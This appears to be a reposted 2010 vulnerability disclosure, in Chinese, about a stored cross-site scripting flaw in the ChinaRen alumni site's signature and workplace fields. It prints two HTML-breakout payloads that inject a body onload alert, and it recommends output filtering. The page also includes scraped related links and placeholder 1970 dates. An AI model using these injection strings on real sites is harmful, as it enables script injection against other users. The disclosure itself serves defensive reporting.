chinaren校友录的永久xss漏洞

漏洞详情

披露状态：

2010-07-27：细节已通知厂商并且等待厂商处理中
1970-01-01：厂商已经确认，细节仅向厂商公开
1970-01-11：细节向核心白帽子及相关领域专家公开
1970-01-21：细节向普通白帽子公开
1970-01-31：细节向实习白帽子公开
2010-08-27：细节向公众公开

简要描述：

chinaren校友录的永久xss漏洞

详细说明：

chinaren校友录签名档、工作单位没有对xss做完整过滤,
签名档:
anyunix</textarea></div></div><BODY ONLOAD=alert('anyunix')></textarea>
工作单位：
anyunix"/></div></div></div><BODY ONLOAD=alert('anyunix')>

漏洞证明：

http://i.chinaren.com/u/anyunix@sogou

修复方案：

当然是过滤输出.

版权声明：转载请注明来源 anyunix@乌云

chinaren校友录的永久xss漏洞相关推荐

chinaren校友录xss漏洞
漏洞详情披露状态: 2010-07-27: 细节已通知厂商并且等待厂商处理中 1970-01-01: 厂商已经确认,细节仅向厂商公开 1970-01-11: 细节向核心白帽子及相关领域专家公开 19 ...
Chinaren校友录所用的左边弹出式菜单
代码如下: <html> <head> <title>Chinaren校友录所用的左边弹出式菜单</title> <meta http-equiv ...
Chinaren校友录
Chinaren校友录链接:http://alumni.chinaren.com/class/class_index.jsp?classuuid=2917034545012452392 来自 &qu ...
如何在ChinaRen校友录中免费发多彩留言
毕业以后,浏览最多的可能就是自己校友录的留言板了.但是千篇一律的文字版面实在难以满足我们丰富多彩的需要,校友录中也提供了多彩留言功能,可以让我们发送一些动态网页元素,如影音.Flash.格式化的文字等 ...
还有多少人记得ChinaRen校友录，它已经502…
如今访问这个网站,它已经显示502 Bad Gateway,令人唏嘘不已-- 对于80后这一代,曾经可以通过ChinaRen还能找到当年的小学.中学同学,不知道这里有多少小伙伴用过,或者是听说过呢?
chinaren校友录恢复重新开放_确定！九寨沟景区9月27日对外开放(试运行) 最大限量为每天5000人各大旅企产品已上线...
东方网记者曹磊9月23日报道:今天下午,九寨沟管理局宣布,景区拟于2019年9月27日(世界旅游日)起对部分景观恢复对外开放(试运行).根据公告显示,景区将实行单日最大限量控制,每天5000人,接待对 ...
Web安全之XSS漏洞
同源策略同源策略(Same-Origin Policy),就是为了保证互联网之中,各类资源的安全性而诞生的产物,它实际上是一个众多浏览器厂商共同遵守的约定.同源策略是浏览器中最基本的安全功能.缺少同 ...
XSS漏洞原理及攻击
XSS漏洞原理 XSS介绍 XSS漏洞介绍 1. 跨站脚本(Cross-Site Scripting),简称为XSS或CSS或跨站脚本攻击,是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种. ...
网络安全必学知识点之XSS漏洞
xss漏洞小结一.初识XSS 1.什么是XSS XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆 ...

chinaren校友录的永久xss漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 anyunix@乌云

chinaren校友录的永久xss漏洞相关推荐

最新文章

热门文章